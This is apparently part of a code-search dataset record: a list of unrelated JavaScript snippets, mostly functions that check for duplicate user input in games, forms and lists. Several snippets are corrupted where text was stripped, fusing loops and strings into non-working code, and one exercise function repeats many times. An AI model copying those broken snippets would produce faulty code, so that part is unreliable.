3).getValue();\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\n origUserLast = validUserSheet.getRange(row, 5).getValue();\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\n firstInstance = false;\n }\n //increment duplicate count\n dupeCount++;\n }\n }\n \n Logger.log('This a duplicate 1: ' + isIndivDupe);\n Logger.log('The original Batch ID is: ' + origBatchId);\n \n if (isIndivDupe) {\n //get info about original submission using original batch ID\n \n var logSheetRows = logSheet.getLastRow() + 1;\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\n origRespLast = logSheet.getRange(logRow, 5).getValue();\n origRespName = origRespFirst + ' ' + origRespLast;\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\n origTime = logSheet.getRange(logRow, 1).getValue();\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \"M/d/yy 'at' h:mm a\");\n }\n }\n \n }\n \n }","function checkDuplicates(args) {\n const check = {}\n\n for (let val of args) {\n check[val] = (check[val] || 0) + 1\n }\n\n for (let key in check) {\n if (check[key] > 1) return true\n }\n\n return false\n}","function isDuplicates (alphabet) {\n let array = [];\n for (let i = 0; i < alphabet.length; i++) {\n if (array.includes (alphabet[i])) {\n return true;\n }\n array.push (alphabet[i]);\n }\n return false;\n }","function chkAns(){\n\tif(usrGss % 1 !== 0){\n\t\t//feedback when your user uses only text chars not number\n\t\t$(\"#newFdbk\").text(\"please input only numbers\");\n\t\treturn true;\n\t}\n\tif(usrGss < 0 || usrGss > 101){\n\t\t//feedback to the user if they use numbers beyond 100 o negative numbers\n\t\t$(\"#newFdbk\").text('Try a number between 0 and 100');\n\t\treturn true;\n\t}\n\tif(gssHsty.length > 0){\n\t\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\n\t\t\tif(usrGss == value){//compare the equality of each value in the array\n\t\t\t\tgssed = true;//set taht guessed value to true\n\t\t\t}\n\t\t}); \n\t}\n\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\n\t\tgssed = false;\n\t\t//if the user repeats any number, they will get this feedback\n\t\t$(\"#newFdbk\").text('You already used this number');\n\t\treturn true;\n\t}\nreturn false;\n}","submitWord(event) {\n event.preventDefault();\n let word = document.getElementById('inputBox').value.toLowerCase();\n document.getElementById('inputBox').value = '';\n if(/^[a-zA-Z]+$/.test(word)) {\n let submittedWords = this.state.submittedWords;\n if (!submittedWords.includes(word)) {\n answer(word);\n }\n }\n }","function isDuplicate(str) {\n for (i = 0; i < guessesSoFarArray.length; i++) {\n if (str === guessesSoFarArray[i]) {\n return true;\n } else { }\n } // end of for loop\n return false;\n} // end of isDuplicate()","function validateLetter (usersKeypress) {\n message.innerText = \"\";\n\n var repeatGuess = lettersGuessed.some(function(item){\n return item === usersKeypress;\n })\n\n //alert player if the above code is true.\n if (repeatGuess) {\n //alert(usersKeypress + \" already guessed. Try again!\");\n message.innerHTML = \"Already guessed that. Try again!\";\n\n //if it is not a repeat guess, check if it's in word\n } else {\n lettersGuessed.push(usersKeypress);\n console.log(\"Guessed so far\", lettersGuessed);\n\n //show user's input in browser\n showLettersGuessed();\n //is user's input a match to computer guess\n guessMatch(usersKeypress);\n }\n\n}"],"string":"[\n \"function checkIsDuplicatingInputs(numOfInputs) {\\n const InputsArr = [];\\n for (let i = 1; i <= numOfInputs; i++) {\\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\\n }\\n return InputsArr.length === new Set(InputsArr).size;\\n }\",\n \"function uniqueInput(input){\\n\\t\\tvar temp = 0;\\n\\t\\tfor(m=0; m < guessedLetters.length; m++) {\\n\\t\\t\\tif (guessedLetters[m] === input){\\n\\t\\t\\t\\ttemp++;\\n\\t\\t\\t\\t// log(\\\"Temp count: \\\" + temp);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif (temp === 0){\\n\\t\\t\\tuniqueLetter = true;\\n\\t\\t\\t// alert(\\\"First Time\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t\\tguessedLetters.push(input);\\n\\t\\t}\\n\\t\\telse if(temp !== 0){\\n\\t\\t\\tuniqueLetter = false;\\n\\t\\t\\t// alert(\\\"Please Pick a new letter that you have not used before.\\\");\\n\\t\\t\\treturn uniqueLetter;\\n\\t\\t}\\n\\t}\",\n \"function duplicateChecker(input) {\\r\\n let duplicateSwitch = false;\\r\\n if (ul.children.length > 0) {\\r\\n for (let i = 0; i < ul.children.length; i++) {\\r\\n if (input.value === ul.children[i].children[0].textContent) {\\r\\n duplicateSwitch = true;\\r\\n break;\\r\\n };\\r\\n }\\r\\n }\\r\\n return duplicateSwitch;\\r\\n }\",\n \"function checkUserDuplicates(value) {\\n if (!userInputsArray.includes(value)) {\\n userInputsArray.push(value);\\n\\n return true;\\n }\\n\\n return false;\\n}\",\n \"function inputIsValid(){\\n\\tconsole.log(ul.children.length);\\n\\tif (input.value.length > 0)\\n\\t{\\n\\t\\tfor (i = 0, len = ul.children.length; i < len; i++) {\\t\\t\\t\\n\\t\\t\\t// Notebook \\n\\t\\t\\t// ul.children[i] = selected list item (textContent for above example = \\\"Notebook Delete\\\", so inspect span tag only)\\n\\t\\t\\t// ul.children[i].children[0] = span tag of the selected list item\\t\\t\\t\\n\\t\\t\\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\\n\\t\\t if (input.value.toLowerCase().trim() === entry) {\\n\\t\\t \\treturn false //don't add duplicate item\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tconsole.log(\\\"isValid\\\");\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"function DuplicateIn() {\\n\\n var formInvalid = false;\\n $('#register_form input').each(function() {\\n if ($(this).val() === '') {\\n formInvalid = true;\\n }\\n });\\n\\n if (formInvalid)\\n alert('One or Two fields are empty. Please fill up all fields');\\n}\",\n \"function appendListIfInputValid(input) {\\n // info: slice() slices the string and returns it starting from the given index\\n // toUpperCase() converts a string to uppercase letters.\\n // toLowerCase() converts a string to lowercase letters.\\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\\n\\n // appends list array and returns true if no duplicate or empty values else returns false\\n if (searchArrayForItem(list, input) == -1 && input != '') {\\n list.push([input, 'noCheck']);\\n return true;\\n } else return false;\\n}\",\n \"function addTokenGuard()\\n {\\n if(input.val() == '' || input.val() == undefined)\\n return true;\\n\\n // If the value already exists in the list then dont add it\\n var dirty = false;\\n list.children('li').each(function() {\\n if($(this).html() == input.val())\\n dirty = true;\\n });\\n\\n return dirty;\\n }\",\n \"function manage_user_input(){\\n let input = $(\\\"#user_input\\\").val().toUpperCase();\\n if(input.length > 0 && !all_user_input.includes(input)){\\n $(\\\"#game_message_p\\\").attr(\\\"hidden\\\",true);\\n $(\\\"#user_input\\\").val(\\\"\\\");\\n let isTarget = check_user_input(input);\\n store_user_input(input,isTarget);\\n } else {\\n $(\\\"#game_message_p\\\")\\n .text(\\\"Input too short (min length = 1) or you already tried this word.\\\")\\n .attr(\\\"hidden\\\",false);\\n }\\n}\",\n \"function addTo() { \\n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\\n playerChoice = parseInt(document.getElementById(\\\"userinput\\\").value);\\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\\n playerArray.push(playerChoice); \\n //highlights with an alert when the player has chosen all 6 numbers\\n if(playerArray.length == 6){\\n printNumbersPlayer()\\n alert(\\\"you have now chosen your 6 numbers!\\\");\\n }\\n\\n return false;\\n }\\n //this else statement posts an alert if a duplicate has been used\\n else {\\n alert(\\\"you have used a duplicate, try another number!\\\");\\n return false;\\n }\\n }\",\n \"function checkDuplicatePicklistValues(arr) {\\n\\tvar len=arr.length;\\n\\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\\n }\\n return [[...seen], input]\\n}\",\n \"function add(animals, animal) {\\n// takes an array of animals and an object representing a new animal\\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\\n \\n // if user types something into the fields\\n if (animal.name.length > 0 && animal.species.length > 0) {\\n // loop to check to see if the name exists \\n for (let i = 0; i < animals.length; i++) {\\n if (animal.name === animals[i].name) {\\n console.log (\\\"that animal exists\\\");\\n return;\\n } \\n }\\n animals.push(animal);\\n }\\n}\",\n \"checkUserInput() {\\r\\n const {\\r\\n drugId1, drugId2, sample, dataset,\\r\\n } = this.state;\\r\\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\\r\\n }\",\n \"function isDuplicateEntry(wslId) {\\r\\n\\t//alert(\\\"wslField = \\\" + wslField);\\r\\n\\tvar wslIdList = getMainView().forms[0].elements[wslField];\\r\\n\\t//alert(\\\"wslIdList = \\\" + wslIdList);\\r\\n\\tvar duplicate = false;\\r\\n\\t//alert(\\\"!wslIdList = \\\" + (!wslIdList));\\r\\n\\tif(!wslIdList) return false;\\r\\n\\t\\r\\n\\t//alert(\\\"wslIdList.length = \\\" + wslIdList.length);\\r\\n\\tif(wslIdList.length) {\\r\\n\\t\\t// there are more than one entry\\r\\n\\t\\tfor(var z=0; z 1) return true\\n }\\n return false;\\n}\",\n \"function removeDuplicates (input) {\\n\\t\\t\\tlet result = input.filter(function(item, pos) {\\n\\t\\t\\t\\treturn input.indexOf(item) == pos;\\n\\t\\t\\t});\\n\\t\\t\\treturn result\\n\\t\\t}\",\n \"function areThereDuplicates2() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n }\",\n \"function findDuplicate() {\\n\\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\\n var filteringModelsArray = _.uniq(modelsArray);\\n\\n return filteringModelsArray.length === modelsArray.length;\\n }\",\n \"function checkForDuplicates()\\r\\n\\t{\\r\\n\\tfor (i=0; i < activeClippings.length; i++)\\r\\n\\t\\t{\\r\\n\\t\\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\\r\\n\\t\\t}\\r\\n\\t}\",\n \"function checkInput(guess) {\\n\\t\\tfor (var i = 1; i <= 4; i++) {\\n\\t\\t\\tvar inputnow = \\\"input\\\" + i;\\n\\t\\t\\t//console.log(inputnow);\\n\\t\\t\\tvar newNum = parseInt(document.getElementById(inputnow).value);\\n\\t\\t\\tconsole.log(newNum);\\n\\t\\t\\tif (isValid(newNum)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (checkNum(newNum, guess)) {\\n\\t\\t\\t\\t\\t// Good to go. \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"\\\" + newNum + \\\"Is a duplicate number. Fix it
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = \\\"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\\\";\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t}\\n\\t}\",\n \"function isDuplicate(name,phone,twitter){\\n\\tvar isduplicate=false; \\n\\t\\tfor(var i=0;i 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n let collection = {}\\n for(let val in arguments){\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\\n }\\n for(let key in collection){\\n if(collection[key] > 1) return true\\n }\\n return false;\\n}\",\n \"function handleSaveUrl() {\\n inputValue = input.value;\\n let checkUrl = arrWithUrl.includes(inputValue);\\n if(checkUrl) {\\n showModal();\\n modalContent.textContent = \\\"You have already saved this url\\\"; \\n } else {\\n arrWithUrl.push(inputValue);\\n setLocalStorage(arrWithUrl);\\n createUrlItem(inputValue);\\n }\\n form.reset();\\n}\",\n \"function validateNamesUnique() {\\n var i = 0;\\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\\n vm.paramsForm['name_' + i].$setValidity(\\n 'unique',\\n vm.parametersList.isNameUnique(modelValue)\\n );\\n i++;\\n }\\n }\",\n \"function areThereDuplicates() {\\n // console.log(arguments)\\n let counter = {};\\n for (let i=0; i< arguments.length; i++){\\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\\n if (counter[arguments[i]]) return true;\\n counter[arguments[i]] = 1;\\n // console.log(counter)\\n\\n }\\n return false;\\n}\",\n \"function checkDuplicatedNames() {\\n\\n for(var i = 0; i < productTable.length; i++)\\n {\\n if(productName.value == productTable[i].name) \\n {\\n productName.classList.add(\\\"is-invalid\\\");\\n productName.classList.remove(\\\"is-valid\\\");\\n\\n PNameAlert.classList.add(\\\"d-block\\\");\\n PNameAlert.classList.remove(\\\"d-none\\\");\\n\\n PNameAlert.innerHTML = \\\"Product Name Already Exists\\\";\\n\\n addBtn.disabled = true;\\n } \\n }\\n}\",\n \"function insertNum(){\\r\\n var win = true;\\r\\n for (var i = 0; i < numbers.length; i++) {\\r\\n userList[i] = Number(prompt(\\\"Inserisci il \\\"+ (i+1) +\\\"° numero\\\"));\\r\\n if (userList[i] === numbers[i]) {\\r\\n win *= true;\\r\\n }\\r\\n else{\\r\\n win = false;\\r\\n }\\r\\n }\\r\\n return win;\\r\\n}\",\n \"function getValue(input){\\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\\n if(operators2.includes(inputs[inputs.length-1]===true && input===\\\".\\\")){\\n console.log(\\\"Duplicat '.' \\\");\\n }\\n //if very first number is exactly = 1\\n else if(inputs.length===1 && operators1.includes(input)===false){\\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\\n inputs.push(input); \\n }\\n //if last thing was not an operator, go ahead and add that input to the array\\n //if last character was not an operator, add operator to the array\\n else if(operators1.includes(inputs[inputs.length-1])===false){\\n inputs.push(input);\\n }\\n //check to add a number..convert string to number\\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\\n else if(nums.includes(Number(input))){\\n //push input to end of array?\\n inputs.push(input);\\n }\\n //update function will update value at end of our list\\n update();\\n }\",\n \"function findDuplicateCharacters(input) {\\n}\",\n \"inNoOfShare() {\\n var flag = true;\\n var Noofshares = read.question(\\\"Enter how many shares you have \\\");\\n while (flag) {\\n\\n if (!isNaN(Noofshares)) {//for validate full name\\n flag = false;\\n } else {\\n var Noofshares = read.question(\\\"Wrong input !!!...Please enter No of shares in integer \\\");\\n }\\n }\\n return Noofshares;\\n }\",\n \"function hasElementsWithUniqueNames() {\\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\\n // Radio buttons have duplicate names.\\n .filter(field => field.type !== 'radio');\\n let problemFields = duplicates.map(field => stringifyElement(field));\\n // Deduplicate items with same tagName and id.\\n problemFields = [...new Set(problemFields)];\\n if (problemFields.length) {\\n const item = {\\n // description: 'Autocomplete values must be valid.',\\n details: 'Found fields in the same form with duplicate name attributes:
• ' +\\n `${problemFields.join('
• ')}`,\\n learnMore: 'Learn more: The input element name attribute',\\n title: 'Fields in the same form must have unique name values.',\\n type: 'error',\\n };\\n items.push(item);\\n }\\n}\",\n \"function validateInput(){\\n\\tvar api_key_input = $('#api-key-input');\\n\\tvar search_input = $('#summoner-name-input');\\n \\tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\\n\\t\\tvar selected = getSelectedOption();\\n\\t\\t//alert(empty_checker + ' | ' + selected);\\n\\t\\tif (selected == 'summary'){\\n\\t\\t\\tsearchSummonerStatsSummary();\\n\\t\\t} else {\\n\\t\\t\\tsearchSummonerStatsRanked();\\n\\t\\t}\\n\\t}\\n}\",\n \"function areThereDuplicates() {\\n if (arguments.length < 2) return false;\\n const counter = {};\\n for (let i = 0; i < arguments.length; i++) {\\n if (counter[arguments[i]]) {\\n return true;\\n } else {\\n counter[arguments[i]] = 1;\\n }\\n }\\n return false;\\n}\",\n \"function userInput(){ \\n everythingOk = false; \\n while(everythingOk === false){\\n // answer = inputLength(); \\n upCaseRslt = upCase();\\n lcase = lowCase(); \\n numAnsr = numOpt();\\n symbolAnswer = simbl(); \\n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\\n alert(\\\"at least one option must be checked in order to create password\\\"); \\n }else{ \\n everythingOk = true; \\n } \\n } \\n }\",\n \"function oneOfEach(sentence) {\\n let unique = [];\\n sentence = sentence.split('');\\n for(let i = 0; i < sentence.length; i++) {\\n if(!unique.includes(sentence[i])) {\\n unique.push(sentence[i]);\\n }\\n }\\n let newSentence = unique.join('');\\n return $('').text('No duplicates: ' + newSentence).appendTo('#outputs');\\n}\",\n \"function clickedScore() {\\n if (playerInitals.includes(nameSubmit.value)) {\\n alert(\\\"That inital already exist\\\");\\n } else if (\\n nameSubmit.value === \\\"\\\" ||\\n nameSubmit.value === null ||\\n nameSubmit.value === undefined\\n ) {\\n alert(\\\"Please enter valid initals\\\");\\n } else {\\n playerInitals.push(nameSubmit.value);\\n playerScores.push(score);\\n setLS();\\n matchHS();\\n viewHS();\\n }\\n}\",\n \"handleSubmit(event) {\\n event.preventDefault();\\n let symbol = event.target[0].value.trim();\\n if (symbol === '') {\\n alert('The input box was empty.');\\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\\n alert('This stock symbol has already been entered.');\\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\\n alert('That isn\\\\'t a valid stock symbol.');\\n } else {\\n let newSymbols = this.state.stockSymbols.slice();\\n newSymbols.push(symbol.toUpperCase());\\n this.setState({stockSymbols: newSymbols});\\n }\\n }\",\n \"function duplicateCheck() {\\n if(duplicateInput.checked) {\\n if (lengthInput.value.trim() <= 10) {\\n return(true)\\n }\\n else {\\n dupErrorString.textContent = \\\"You can only remove duplicates for a password of 10 or fewer characters\\\"\\n return(false)\\n }\\n }\\n else {\\n return(true)\\n }\\n}\",\n \"addSong(selectedSong){\\r\\n let newItem = this.userBand + \\\" - \\\" + selectedSong;\\r\\n //prevents adding of duplicate songs\\r\\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\\\"This song is already in the list\\\");\\r\\n }\",\n \"function readInput() {\\n clear(\\\"comparingDiv\\\")\\n\\n input1 = document.getElementById(\\\"searchbox1\\\").value;\\n input2 = document.getElementById(\\\"searchbox2\\\").value;\\n\\n var list = educationInterface.getIDs();\\n\\n if (!list.includes(input1) || !list.includes(input2)) \\n comparingDiv.appendChild(document.createTextNode(\\\"Invalid input. Please check that both field contain valid ids.\\\"));\\n else \\n createComparisionTables(input1.toString(), input2.toString());\\n\\n return false;\\n}\",\n \"inStockName() {\\n var name = read.question(\\\"Enter the name of stock \\\");\\n var flag = true;\\n while (flag) {//for validating inputs\\n\\n if (isNaN(name)) {//for validate the name \\n flag = false;\\n } else {\\n var name = read.question(\\\"Wrong input !!!...Please enter correct name of Stack \\\");\\n }\\n }\\n return name;\\n }\",\n \"function duplicateChars(letter) {\\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\\n warning = \\\"YOU ALREADY GUESSED THAT LETTER!\\\";\\n warningElement.innerHTML = warning;\\n }\\n}\",\n \"function duplicateFinder(word, inputValueArr, currentKey) {\\n console.log(\\\"word, inputValueArr, currentKey\\\", word, inputValueArr, currentKey);\\n\\n for (let i = 0; i < inputValueArr.length; i++) {\\n //exclude checking the current index while finding duplicates.\\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\\n if (currentKey != i && word === inputValueArr[i]) {\\n return true;\\n }\\n\\n }\\n return false;\\n}\",\n \"function checkInput() {\\n if (attempts > 0) {\\n let counter = 0;\\n\\n for (let toValidate of domList.children) {\\n let li = toValidate;\\n let wordChar = li.getAttribute(\\\"data-char\\\").toLowerCase();\\n let pChar = toValidate.querySelector(\\\"p\\\");\\n\\n if (wordChar === inputChar) {\\n counter = counter + 1;\\n pChar.classList.remove(\\\"hidden\\\");\\n }\\n }\\n let check = wrongKeys.includes(inputChar);\\n\\n if (counter === 0 && check === false) {\\n wrongKeys.push(inputChar);\\n displayWrongKeys();\\n }\\n }\\n countWrongAttempts();\\n}\",\n \"addEntry() {\\n let candidateName = this.state.newEntryName\\n let temp = this.state.pieData\\n let newId = this.generateId()\\n\\n //Avoiding empty labels\\n if(candidateName === ''){\\n alert(\\\"Please insert an entry name\\\")\\n } \\n else{\\n\\n //Ensuring that the label is unique by going through all labels in pie data..\\n for(var i = 0; i < temp.length; i++){\\n\\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \\n if(temp[i].label === candidateName){\\n alert(\\\"This entry already exists. Please enter a unique entry name.\\\");\\n document.getElementById('newEntry').value = '';\\n return\\n }\\n }\\n\\n //If there are no errors, the entry object is pushed into pieData.\\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\\n this.setState({\\n pieData: temp,\\n newEntryName: ''\\n })\\n //Reset the data from the input\\n document.getElementById('newEntry').value = '';\\n }\\n }\",\n \"function combinedArray() {\\n var userName = prompt(\\\"Please enter a name\\\", \\\"Enter name here\\\");\\n var nameSearch = allNames.lastIndexOf(userName);\\n if (nameSearch > 0) {\\n alert(\\\"Your name is in the array\\\")\\n }\\n else {\\n alert(\\\"Your name is NOT in the array\\\")\\n }\\n}\",\n \"function areThereDuplicates() {\\n let freqCounter = {};\\n for(let i = 0; i < arguments.length; i++){\\n if(freqCounter[arguments[i]]){\\n return true;\\n } else {\\n freqCounter[arguments[i]] = true;\\n }\\n }\\n return false;\\n}\",\n \"function validateUnique(threeArray){\\n for(var i = 0; i < threeArray.length; i ++){\\n for(var v = 0; v < lastItemsSeen.length; v++){\\n if(threeArray[i].product === lastItemsSeen[v].product){\\n \\n return false;\\n \\n }\\n }\\n return true;\\n }\\n}\",\n \"function userInput() {\\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\\n checkedLower = window.confirm('Do you want Lower Case Letters?');\\n checkedNumbers = window.confirm('Do you want Numbers?');\\n checkedSpecial = window.confirm('Do you want Special Characters?');\\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\\n alert(\\\"Must choose at least one\\\");\\n userInput();\\n }\\n}\",\n \"function areThereDuplicates() {\\n let collection = {};\\n for (let val in arguments) {\\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\\n }\\n for (let key in collection) {\\n if (collection[key] > 1) return true;\\n }\\n return false;\\n}\",\n \"function checkUserInput(){\\n\\t\\t//check if title name is inputted\\n\\t\\tif (!$(element).find('input[id=edit_title_name]').val()){\\n\\t\\t\\talert (\\\"Please input the test's title name\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if test type is selected\\n\\t\\tif (!$('#edit_test_type').val()){\\n\\t\\t\\talert (\\\"Please choose the test type\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check if total question number is inputted correctly\\n\\t\\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\\n\\t\\t\\talert (\\\"Please input correct number in total main question number\\\");\\t\\t\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\t//check in each question set...\\n\\t\\tnGroups = $(element).find('input[id=edit_total_question]').val();\\n\\t\\tfor (var i=1;i<=nGroups;i++){\\n\\t\\t\\t//check if sub question number is inputted correctly\\n\\t\\t\\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\\n\\t\\t\\t\\talert (\\\"Please input correct number in total sub question number for Q\\\" + i);\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n\\t\\t\\t//check in each question...\\n\\t\\t\\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\\n\\t\\t\\tfor (var j=1;j<=total_sub_question;j++){\\n\\t\\t\\t\\t//check question content or picture is inputted\\n\\t\\t\\t\\tif (!$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\\\\\.'+ j + '_pic]').val()){\\n\\t\\t\\t\\t\\talert (\\\"Please input a question content or picture on Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\t\\t\\t\\t\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//check learning object link and name are inputted.\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_link]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object link for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (!$(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\\\\\.' + j + '_name]').length > 0){\\n\\t\\t\\t\\t\\tif (j==1) {}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input learning object name for Q\\\" + i + '.' + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//variable to check for checkbox (correct answer)\\n\\t\\t\\t\\tvar isChecked = false;\\t\\n\\t\\t\\t\\t//check for each answer...\\n\\t\\t\\t\\tfor (var k=1;k<=4;k++){\\n\\t\\t\\t\\t\\t//check answer content is inputted\\n\\t\\t\\t\\t\\tif (!$(element).find('input[name=answer' + i + '\\\\\\\\.'+ j + '_'+ k + ']').val()){\\n\\t\\t\\t\\t\\t\\talert (\\\"Please input an answer for Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t//check if one of checkboxes is selected \\n\\t\\t\\t\\t\\tif ( $(element).find('input[id=answer' + i + '\\\\\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\\n\\t\\t\\t\\t\\t\\tisChecked = true;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t//if no checkbox is selected\\n\\t\\t\\t\\tif (!isChecked){\\n\\t\\t\\t\\t\\talert (\\\"Please select one correct answer in Q\\\" + i + \\\".\\\" + j);\\n\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\t\\t\\n }\\n\\t\\treturn true;\\n\\t}\",\n \"function checkInput(){\\n if(isNaN(userGuess)) {\\n alert(\\\"Please enter a number from 1 - 100!\\\");\\n } else if(userGuess === \\\" \\\") {\\n alert(\\\"Well, you have to input a number\\\");\\n } else if (userGuess < 0 || userGuess > 100) {\\n alert(\\\"Plese enter a number from 1 - 100!\\\");\\n } else {\\n comparisonAmount();\\n console.log(\\\"User guess = \\\" + userGuess);\\n $('#userGuess').val('');\\n guessCount++;\\n setCount(guessCount);\\n $('ul#guessList').append(\\\" \\\" + userGuess + \\\" \\\");\\n }\\n}\",\n \"checkIfUnique(name, value, signal) {\\n if (name === 'password' || name === 'confirmPassword') return;\\n return this.getAll(signal)\\n .then(users => {\\n return users.find(user => user[name] === value)\\n })\\n .then(user => {\\n let message = '';\\n if (user !== undefined){\\n message = `This ${name} has already been used.`; \\n } \\n return this.setError(name, message); \\n });\\n }\",\n \"function checkDuplicate()\\n {\\n var found = false;\\n for (var i = 0; i < $scope.list.length; i++)\\n {\\n if ($scope.list[i].item == $scope.item)\\n {\\n found = true;\\n }\\n }\\n return found;\\n }\",\n \"function areThereDuplicates() {\\n let args = [...arguments];\\n const argsList = {}\\n for(let i = 0; i< args.length; i++){\\n let currentArg = args[i];\\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\\n }\\n for (let two in argsList) {\\n if (argsList[two] > 1) {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"handleSubmit(e) {\\n e.preventDefault();\\n let firstValue, secondValue;\\n const [firstInput, secondInput] = e.target.elements;\\n firstValue = firstInput.value.trim().split(' 